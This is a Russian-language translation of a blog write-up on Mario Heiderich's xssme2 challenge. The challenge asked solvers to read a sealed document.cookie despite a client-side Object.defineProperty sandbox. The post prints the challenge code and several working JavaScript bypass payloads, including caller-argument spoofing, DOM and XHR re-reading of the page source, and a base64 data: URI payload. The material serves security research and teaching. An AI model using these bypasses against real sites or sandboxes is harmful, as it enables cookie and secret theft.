Печальное состояние безопасности DOM (или как мы все решали вызов Марио)

Несколько дней назад Марио Хайдерих  опубликовал вторую часть своих заданий xssme (пока только в Firefox). Но это был не обычный вызов. Цель состояла не в том, чтобы выполнить ваш Javascript, а в том, чтобы получить доступ к свойству объекта DOM (document.cookie) без взаимодействия с пользователем . Фактически, полезная нагрузка не была отфильтрована вообще.

Прелесть моя!

Это соответствует работе Марио по блокировке  попыток уничтожения DOM и XSS. Концепция заключается в том, что фильтрация на стороне сервера для XSS в конечном итоге потерпит неудачу, если вам потребуется принять HTML. Далее — иногда код Javascript должен приниматься от клиента ( гибридные приложения есть везде! ), Вместо этого мы хотим, чтобы он выполнялся внутри песочницы, ограничивая доступ к некоторым важным свойствам (местоположение, cookie, окно, некоторые токены, наш внутренний объект приложения и т. Д.). .). Это в основном то, что Google Caja пытается достичь на стороне сервера. Но сервер не знает обо всех этих странностях браузера, проблемах синтаксического анализа — в конце концов, это другая среда.

Поэтому, если возможно полное уничтожение XSS — оно должно быть на стороне клиента, в браузере. Конечно, это требует некоторой поддержки от браузера, и наиболее распространенным оружием является ECMAScript 5 Object.defineProperty () и друзья. По сути, это позволяет вам переопределить свойство объекта (скажем, document.cookie ) с вашей собственной реализацией и заблокировать его, чтобы дальнейшие переопределения были невозможны.

В теории это здорово. Вы вставляете некоторый код Javascript, блокируете ваши драгоценные активы DOM, затем можете вывести неизмененный код клиента, который уже работает в контролируемой изолированной среде — и все готово. В теории. Читать дальше!

<script>
    document.cookie = '123456-secret-123456'; // my precious
 
    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() {
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec && ev.isTrusted === true
                  && ev.type=='click') { // allow calling only from click events
                return cookie;
            }
            return null;
        };      
    };
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden
 
    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
</script>
<button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>

	
function b() { return Safe.get(); }
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})

// one
alert(document.head.childNodes[3].text);
// two
alert(document.head.innerHTML.substr(146,20))
// three
var script = document.getElementsByTagName('script')[0];
var clone = script.childNodes[0].cloneNode(true);
var ta = document.createElement('textarea'); ta.appendChild(clone);
alert(ta.value.match(/cookie = '(.*?)'/)[1])

var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}

x=document.createElement('iframe');
x.src='http://html5sec.org/404';
x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};
document.body.appendChild(x);

html.body.innerHTML = x;
for (var i in j = html.querySelectorAll('iframe,object,embed')) {
    try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'}
    catch (e) {}
}

if (document.head.parentNode.id !== 'sanitized') {
    document.write('<plaintext id=test>');
    var test = document.getElementById('test');
    setTimeout(function(){
        var x = test.innerHTML;
        var j = null;
        var html = document.implementation.createHTMLDocument(
            'http://www.w3.org/1999/xhtml', 'html', null
        );
        html.body.innerHTML = x;
        document.write('<!doctype html><html id="sanitized"><head>'
         + document.head.innerHTML + '</head><body>'
         + html.body.innerHTML + '</body></html>');
    },50);
}   

// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1
c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICco
Lio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4=';
// base 64 is:
<script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function() 
{ alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script>
 
// Gareth - use unlockable Components.lookupMethod
alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),
'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));